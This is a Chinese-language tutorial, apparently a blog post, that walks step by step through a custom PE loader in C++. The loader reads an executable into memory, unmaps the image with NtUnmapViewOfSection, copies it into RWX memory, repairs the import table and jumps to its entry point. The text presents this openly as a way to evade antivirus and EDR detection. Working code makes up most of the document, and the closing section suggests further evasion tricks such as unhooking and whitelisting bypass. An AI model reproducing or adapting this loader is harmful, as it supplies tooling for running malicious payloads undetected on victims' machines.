0x0 Pe_Loade
Pe_Loader后面简称为Loader,实际上就是自己实现pe装载器的功能的技术,
该技术具有极强的免杀效果,原理为读取硬盘文件到内存卸载自内存中文件
重定位模块地址将内存文件复制到新堆修复IAT转交控制权到堆OEP,本篇文
章聚焦于代码实现阅读下列代码需要具备C++ WINAPI开发经验以及逆向经验。
0x1 Loader技术点
1.将文件读取到内存
2.读取在内存中文件的NT映像头
3.读取文件内存重定位地址中映像基址
4.使用NtUnmapViewOfSection卸载自内存中内存文件重定位模块
5.开辟具有RXW权限的堆
6.复制内存中PE头+ 节表目录到新堆
7.将节内容对齐后复制点到新堆
8.修复IAT
9.读取原程序OEP
10.将程序控制权转交给RXW堆中的OEP入口点
技术剖析-1 文件读取内存
使用CreateFile直接读取硬盘文件到内存。
BYTE* FileBuff(char* file_path_name) {
HANDLE handleFile=CreateFileA(file_path_name, GENERIC_READ,NULL,NULL,4,NULL,NULL);
PLARGE_INTEGER large = (PLARGE_INTEGER)malloc(sizeof(LARGE_INTEGER));
BOOL SizeStatus=GetFileSizeEx(handleFile, large);
if (!SizeStatus) {
cout << "Error:File Size" << endl;
return 0x0;
}
BYTE* Buffer = (BYTE *)malloc(large->QuadPart);
BOOL ReadFileStatus=ReadFile(handleFile, Buffer, large->QuadPart,NULL,NULL);
if (!ReadFileStatus) {
cout << "Error File Read" << endl;
return 0x0;
}
return Buffer;
}
技术剖析-2 读取NT映像头
先使用IMAGE_DOS_HEADER 结构读取内存中的DOS头判断小端标识的MZ是否读取到DOS头,
通过DOS头中的e_magic偏移到NT映像头返回NT头。
BYTE* GetNtHdrs(BYTE* file_buffer) {
if (file_buffer == NULL)return 0x0;
IMAGE_DOS_HEADER* dos_headr = (IMAGE_DOS_HEADER*)(file_buffer);
if (dos_headr->e_magic != 0x5A4D)return 0x0;
LONG pe_offset = dos_headr->e_lfanew;
IMAGE_NT_HEADERS32* nt_header = (IMAGE_NT_HEADERS32*)((BYTE*)dos_headr +
pe_offset);
if (nt_header->Signature != IMAGE_NT_SIGNATURE) return NULL;
return (BYTE *)nt_header;
}
IMAGE_NT_HEADERS* nt_header=(IMAGE_NT_HEADERS*)GetNtHdrs(Buffer);
技术剖析-3 读取映像基址
偏移读取数据目录表IMAGE_DIRECTORY_ENTRY_BASERELOC并读取映像基址
BYTE* GetDataDirectory(BYTE* buffer) {
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)buffer;
IMAGE_DATA_DIRECTORY* director =
(IMAGE_DATA_DIRECTORY*)(&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
if (director->VirtualAddress == NULL)return 0x0;
return (BYTE *)director;
}
IMAGE_DATA_DIRECTORY *director= (IMAGE_DATA_DIRECTORY*)GetDataDirectory((BYTE
*)nt_header);
LPVOID baseImage=(LPVOID)nt_header->OptionalHeader.ImageBase;
技术剖析-4 NtUnmapViewOfSection卸载模块
HMODULE dll = LoadLibraryA("ntdll.dll");
((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll,
"NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)nt_header->OptionalHeader.ImageBase);
技术剖析-5 开辟具有RXW权限的堆
开辟具有RXW权限的堆,堆的大小为内存文件中SizeOfImage表述的内存映射大小。
BYTE* Runmemory_ImageBase = (BYTE
*)VirtualAlloc(baseImage,nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
技术剖析-6 复制内存中PE头+ 节表目录到新堆
复制头部+节表到新堆,头部和节表总大小为可选映像头中的SizeOfHeaders
memcpy(Runmemory_ImageBase, Buffer, nt_header->OptionalHeader.SizeOfHeaders);//内存复制头+节表
技术剖析-7 将节内容对齐后复制点到新堆
节表数量位于文件头中的NumberOfSection中,将就文件堆复制到新堆中长度为SizeOfRawData内存映射后大小。
IMAGE_SECTION_HEADER* section_header = (IMAGE_SECTION_HEADER*)(size_t(nt_header) +
sizeof(IMAGE_NT_HEADERS));
for (int i = 0; i < nt_header->FileHeader.NumberOfSections;i++) {
memcpy(Runmemory_ImageBase+section_header[i].VirtualAddress,Buffer+section_header[i].PointerToRawData,section_header[i].SizeOfRawData);
}
技术剖析-8 修复IAT
首先从RXW堆中读取NT映像头,从NT映像头中偏移读取数据目录的IMAGE_DIRECTORY_ENTRY_IMPORT导入表,导入表为IMAGE_IMPORT_DESCRTIPTOR结构,其中使用到的关键偏移有NAME:DLL名称、OriginalFirstThunk INT导入名称表的IMAGE_THUNK_DATA和FirstThunk指向IAT的导入地址表,其中INT不可修改 IAT可由自装载器填充GetProcAddress找到的函数地址,INT有两种表现形式第一种表现形式指向IMAGE_IMPORT_BY_NAME结构可以使用函数名来填充IAT第二种表现形式为MSB最高位为1说明使用序号装载IAT也同样可以使用GetProcAddress来装载序号找到函数地址并填充,INT与IAT是对应关系INT可能表现的形式不同可能为模式一或模式二这样需要编写两种方式来填充IAT,简单方式就是使用宏IMAGE_ORDINAL_FLAG32或IMAGE_ORDINAL_FLAG64来判断MSB是否为1使用序号方式否则就是函数名方式。
BOOL IatLoader(BYTE* memory_file) {
cout << "PE Loader IAT Run Repair" << endl;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)GetNtHdrs(memory_file);
IMAGE_DATA_DIRECTORY*
import_director=(IMAGE_DATA_DIRECTORY*)(&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
if (import_director == NULL)return false;
size_t maxSize = import_director->Size;
size_t impAddr = import_director->VirtualAddress;
IMAGE_IMPORT_DESCRIPTOR* import_descriptor = NULL;
unsigned int parsedSize = 0;
for (; parsedSize < maxSize; parsedSize+=sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
import_descriptor = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize +
(ULONG_PTR)memory_file);
char* lib_name = (char *)(memory_file + import_descriptor->Name);
if (*lib_name=='M'&& *(lib_name + 1)=='Z') {
break;
}
printf(" [+] Import DLL: %s\n", lib_name);
size_t call_via_IAT=import_descriptor->FirstThunk;
size_t thunk_addr_INT = import_descriptor->OriginalFirstThunk;
if (thunk_addr_INT == NULL)thunk_addr_INT = import_descriptor->FirstThunk;
size_t offsetField = 0;
size_t offsetThunk = 0;
while (true)
{
IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(memory_file +
offsetField + call_via_IAT);
IMAGE_THUNK_DATA* orginThunk =
(IMAGE_THUNK_DATA*)(memory_file+offsetThunk+thunk_addr_INT);
if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 ||
orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
{
size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name),
(char*)(orginThunk->u1.Ordinal & 0xFFFF));
printf(" API Serial %x Serial Memory %x\n",
orginThunk->u1.Ordinal, addr);
fieldThunk->u1.Function = addr;
}
if (fieldThunk->u1.Function == NULL) {
break;
}
if (fieldThunk->u1.Function == orginThunk->u1.Function) {
PIMAGE_IMPORT_BY_NAME by_name =
(PIMAGE_IMPORT_BY_NAME)(memory_file+ fieldThunk->u1.AddressOfData);
char* name = by_name->Name;
size_t nameAddress =
(size_t)GetProcAddress(LoadLibraryA(lib_name), name);
cout << "function name:" << name << "----Address:" <<hex<<
nameAddress << endl;
fieldThunk->u1.Function = nameAddress;
}
offsetField += sizeof(IMAGE_THUNK_DATA);
offsetThunk += sizeof(IMAGE_THUNK_DATA);
}
}
cout << "PE Loader IAT Run Repair Succeed " << endl;
return 0;
}
技术剖析-9 读取原程序OEP
RXW文件堆中的OEP程序入口位于可选映像头中的AddressOfEntryPoint偏移中。
size_t retAddr =
(size_t)(Runmemory_ImageBase)+nt_header->OptionalHeader.AddressOfEntryPoint;
技术剖析-10 控制权转交给RXW堆中OEP地址
((void(*)())retAddr)();
总结
PeLoader技术是模拟Windows EXE装载过程,主要用于红蓝对抗对EDR查杀的规避能够
具有很强静态免杀效果,随着对抗的升级PeLoader在遇到有着较强内存查杀的EDR时候,
往往显得力不从心,可以使用其他技术进行对抗比如模块.text reload卸载R3 HOOK,白
+黑进行白名单绕过等等,红蓝对抗是永无止境的没有攻不破的系统只有不努力的黑客。